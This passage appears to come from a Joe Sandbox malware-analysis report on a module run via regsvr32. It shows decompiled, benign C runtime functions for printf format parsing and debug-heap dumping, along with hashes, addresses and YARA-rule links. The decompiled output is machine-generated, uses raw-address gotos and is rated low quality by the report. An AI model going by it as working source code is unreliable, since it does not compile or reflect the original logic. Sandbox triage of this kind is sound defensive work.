				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dcb0
0x7fef9d3dcbf
0x7fef9d3dcc9
0x7fef9d3dcd3
0x7fef9d3dcdd
0x7fef9d3dce7
0x7fef9d3dce9
0x7fef9d3dcf2
0x7fef9d3dcf6
0x7fef9d3dcff
0x7fef9d3dd03
0x7fef9d3dd0c
0x7fef9d3dd10
0x7fef9d3dd16
0x7fef9d3dd1e
0x7fef9d3dd27
0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9

Strings

0, xrefs: 000007FEF9D3DCDF
_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: ("Incorrect format specifier", 0)$0$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 530996419-1247675978
Opcode ID: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction ID: decea58dbdbd6501be5c610137b77bb3c0dc28cbce38a3a9de9bceb14a18b164
Opcode Fuzzy Hash: dafc102d997b2a6b976dbf7f56485c8afddec954203f225463beab32e96cec62
Instruction Fuzzy Hash: 1F510CB2A0C6C68AE7B09B64F8407BEB7E0F385346F600125D6C9869A8D77DE444DF10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BD82 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3BD82(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t139;
				char* _t159;
				char* _t160;

				if (_a696 != 0x2a) goto 0xf9d3bdbe;
				_t159 =  &_a1112;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3bdbc;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3bdd5;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t160 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t139 + _t160 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bd8d
0x7fef9d3bd8f
0x7fef9d3bd9c
0x7fef9d3bda5
0x7fef9d3bdae
0x7fef9d3bdb8
0x7fef9d3bdbc
0x7fef9d3bdd1
0x7fef9d3bdda
0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BD97

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction ID: 7af9cebcf9cdbe51cb5c05a1613d0acac690945035c75598d7829d850d960732
Opcode Fuzzy Hash: b576c27c8c875c1ce4182572011a22670079dadd40bff06c5e4b49d8cc0733f6
Instruction Fuzzy Hash: 40515E72A0D6C68AE7F0DB24E8947BEBBE4E384355F600126D2CD869A9DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD30 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E000007FE7FEF9D3DD30(signed int _a80, signed int _a88, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t139;
				char* _t159;
				char* _t160;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3dd6c;
				_t159 =  &_a1560;
				_a88 = E000007FE7FEF9D31E40(_t159);
				if (_a88 >= 0) goto 0xf9d3dd6a;
				_a80 = _a80 | 0x00000004;
				_a88 =  ~_a88;
				goto 0xf9d3dd83;
				_a88 = _t139 + _t159 - 0x30;
				_a116 = 0;
				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t160 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t160);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t139 + _t160 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dd3b
0x7fef9d3dd3d
0x7fef9d3dd4a
0x7fef9d3dd53
0x7fef9d3dd5c
0x7fef9d3dd66
0x7fef9d3dd6a
0x7fef9d3dd7f
0x7fef9d3dd88
0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DD45

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction ID: f5bf503dfe25a3916c99f1d9d67644448d63221e22ccd8ab12d6653ca93a9968
Opcode Fuzzy Hash: 73e6b479e683be5ecb6b5fbd55da46f8fdb801a5518f0397c70b55b6842a44e9
Instruction Fuzzy Hash: 0E510DB2A0C6C28AE7F09B64E8407BEB7E4F394345F600126E6C9879A9DB7DD445CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3BDE7 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3BDE7(signed int _a80, intOrPtr _a116, signed int _a696, intOrPtr _a704, char _a972, signed int _a976, void* _a1096, char _a1112) {
				void* _t113;
				char* _t133;

				if (_a696 != 0x2a) goto 0xf9d3be16;
				_t133 =  &_a1112;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3be14;
				_a116 = 0xffffffff;
				goto 0xf9d3be2d;
				_a116 = _t113 + _t133 - 0x30;
				_a972 = _a696 & 0x000000ff;
				if (_a972 == 0x49) goto 0xf9d3beb7;
				if (_a972 == 0x68) goto 0xf9d3bfc0;
				if (_a972 == 0x6c) goto 0xf9d3be76;
				if (_a972 == 0x77) goto 0xf9d3bfcd;
				goto 0xf9d3bfd9;
				if ( *_a1096 != 0x6c) goto 0xf9d3bea7;
				_a1096 = _a1096 + 1;
				asm("bts eax, 0xc");
				goto 0xf9d3beb2;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xf");
				if ( *_a1096 != 0x36) goto 0xf9d3bf09;
				if ( *((char*)(_a1096 + 1)) != 0x34) goto 0xf9d3bf09;
				_a1096 = _a1096 + 2;
				asm("bts eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 != 0x33) goto 0xf9d3bf4c;
				if ( *((char*)(_a1096 + 1)) != 0x32) goto 0xf9d3bf4c;
				_a1096 = _a1096 + 2;
				asm("btr eax, 0xf");
				goto 0xf9d3bfbe;
				if ( *_a1096 == 0x64) goto 0xf9d3bfac;
				if ( *_a1096 == 0x69) goto 0xf9d3bfac;
				if ( *_a1096 == 0x6f) goto 0xf9d3bfac;
				if ( *_a1096 == 0x75) goto 0xf9d3bfac;
				if ( *_a1096 == 0x78) goto 0xf9d3bfac;
				if ( *_a1096 != 0x58) goto 0xf9d3bfae;
				goto 0xf9d3bfbe;
				_a704 = 0;
				goto E000007FE7FEF9D3BB66;
				goto 0xf9d3bfd9;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3bfd9;
				asm("bts eax, 0xb");
				_a976 = _a696;
				_a976 = _a976 - 0x41;
				if (_a976 - 0x37 > 0) goto 0xf9d3ca31;
				goto __rax;
			}

0x7fef9d3bdf2
0x7fef9d3bdf4
0x7fef9d3be01
0x7fef9d3be0a
0x7fef9d3be0c
0x7fef9d3be14
0x7fef9d3be29
0x7fef9d3be3a
0x7fef9d3be49
0x7fef9d3be53
0x7fef9d3be61
0x7fef9d3be6b
0x7fef9d3be71
0x7fef9d3be84
0x7fef9d3be91
0x7fef9d3be9d
0x7fef9d3bea5
0x7fef9d3beae
0x7fef9d3beb2
0x7fef9d3bebb
0x7fef9d3bed1
0x7fef9d3bee2
0x7fef9d3bef0
0x7fef9d3befc
0x7fef9d3bf04
0x7fef9d3bf17
0x7fef9d3bf28
0x7fef9d3bf36
0x7fef9d3bf42
0x7fef9d3bf4a
0x7fef9d3bf5a
0x7fef9d3bf6a
0x7fef9d3bf7a
0x7fef9d3bf8a
0x7fef9d3bf9a
0x7fef9d3bfaa
0x7fef9d3bfac
0x7fef9d3bfae
0x7fef9d3bfb9
0x7fef9d3bfbe
0x7fef9d3bfc7
0x7fef9d3bfcb
0x7fef9d3bfd1
0x7fef9d3bfe6
0x7fef9d3bff7
0x7fef9d3c006
0x7fef9d3c02d

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E
get_int_arg.LIBCMTD ref: 000007FEF9D3BDFC

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-192189897
Opcode ID: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction ID: 7a8513096c3cb2bd444751f94b1f2e61cedcdb1a9580f93edff9428065c01d53
Opcode Fuzzy Hash: 4684e22f791ce69839f562b923e995fff9986fe21dc9389a852d4c7307e36990
Instruction Fuzzy Hash: 0C415B72A0DAC28AE7F0DB24E8947BEB7E4E384745F600126D6DD869A9DB3DD541CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3DD95 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E000007FE7FEF9D3DD95(signed int _a80, intOrPtr _a116, signed int _a1208, intOrPtr _a1216, signed int _a1408, signed int _a1412, signed short* _a1544, char _a1560) {
				void* _t113;
				char* _t133;

				if ((_a1208 & 0x0000ffff) != 0x2a) goto 0xf9d3ddc4;
				_t133 =  &_a1560;
				_a116 = E000007FE7FEF9D31E40(_t133);
				if (_a116 >= 0) goto 0xf9d3ddc2;
				_a116 = 0xffffffff;
				goto 0xf9d3dddb;
				_a116 = _t113 + _t133 - 0x30;
				_a1408 = _a1208 & 0x0000ffff;
				if (_a1408 == 0x49) goto 0xf9d3de66;
				if (_a1408 == 0x68) goto 0xf9d3df6f;
				if (_a1408 == 0x6c) goto 0xf9d3de24;
				if (_a1408 == 0x77) goto 0xf9d3df7c;
				goto 0xf9d3df88;
				if (( *_a1544 & 0x0000ffff) != 0x6c) goto 0xf9d3de56;
				_a1544 =  &(_a1544[1]);
				asm("bts eax, 0xc");
				goto 0xf9d3de61;
				_a80 = _a80 | 0x00000010;
				goto 0xf9d3df88;
				asm("bts eax, 0xf");
				if (( *_a1544 & 0x0000ffff) != 0x36) goto 0xf9d3deb8;
				if ((_a1544[1] & 0x0000ffff) != 0x34) goto 0xf9d3deb8;
				_a1544 =  &(_a1544[2]);
				asm("bts eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) != 0x33) goto 0xf9d3defb;
				if ((_a1544[1] & 0x0000ffff) != 0x32) goto 0xf9d3defb;
				_a1544 =  &(_a1544[2]);
				asm("btr eax, 0xf");
				goto 0xf9d3df6d;
				if (( *_a1544 & 0x0000ffff) == 0x64) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x69) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x6f) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x75) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) == 0x78) goto 0xf9d3df5b;
				if (( *_a1544 & 0x0000ffff) != 0x58) goto 0xf9d3df5d;
				goto 0xf9d3df6d;
				_a1216 = 0;
				goto E000007FE7FEF9D3DC41;
				goto 0xf9d3df88;
				_a80 = _a80 | 0x00000020;
				goto 0xf9d3df88;
				asm("bts eax, 0xb");
				_a1412 = _a1208 & 0x0000ffff;
				_a1412 = _a1412 - 0x41;
				if (_a1412 - 0x37 > 0) goto 0xf9d3ea2a;
				goto __rax;
			}

0x7fef9d3dda0
0x7fef9d3dda2
0x7fef9d3ddaf
0x7fef9d3ddb8
0x7fef9d3ddba
0x7fef9d3ddc2
0x7fef9d3ddd7
0x7fef9d3dde8
0x7fef9d3ddf7
0x7fef9d3de01
0x7fef9d3de0f
0x7fef9d3de19
0x7fef9d3de1f
0x7fef9d3de32
0x7fef9d3de40
0x7fef9d3de4c
0x7fef9d3de54
0x7fef9d3de5d
0x7fef9d3de61
0x7fef9d3de6a
0x7fef9d3de80
0x7fef9d3de91
0x7fef9d3de9f
0x7fef9d3deab
0x7fef9d3deb3
0x7fef9d3dec6
0x7fef9d3ded7
0x7fef9d3dee5
0x7fef9d3def1
0x7fef9d3def9
0x7fef9d3df09
0x7fef9d3df19
0x7fef9d3df29
0x7fef9d3df39
0x7fef9d3df49
0x7fef9d3df59
0x7fef9d3df5b
0x7fef9d3df5d
0x7fef9d3df68
0x7fef9d3df6d
0x7fef9d3df76
0x7fef9d3df7a
0x7fef9d3df80
0x7fef9d3df95
0x7fef9d3dfa6
0x7fef9d3dfb5
0x7fef9d3dfdc

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
get_int_arg.LIBCMTD ref: 000007FEF9D3DDAA

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameterget_int_arg
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2576288505-734865713
Opcode ID: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction ID: 14f8518244b6aa56c92c2133ed4feb23c5223715f37474fc6187c6031a63ef29
Opcode Fuzzy Hash: d152d77759d1a8b77c8e40c3a5b6b9e992a9212ee747c51bfdc081fcc3156ca6
Instruction Fuzzy Hash: 94414DB2A0C6C28AE7F09B64E8407BEB2E4F384746F600125D6C9875E8DB3DD444CF14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D26C32 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

_swprintf_p.LIBCMTD ref: 000007FEF9D26DC2
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D26E0D

Strings

_printMemBlockData, xrefs: 000007FEF9D26DED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D26DE1
(*_errno()), xrefs: 000007FEF9D26DF9
%.2X , xrefs: 000007FEF9D26DAD

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_oneof_swprintf_p
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2731067127-3604075083
Opcode ID: fe7d44c8fd9bf19f096a73d3f0335bde0191fec95794c4c7e73345e4b193bd8e
Instruction ID: d4871e39cfd66166000c08c845a9e51e3e7b3f71581565f00727d2aef18c331a
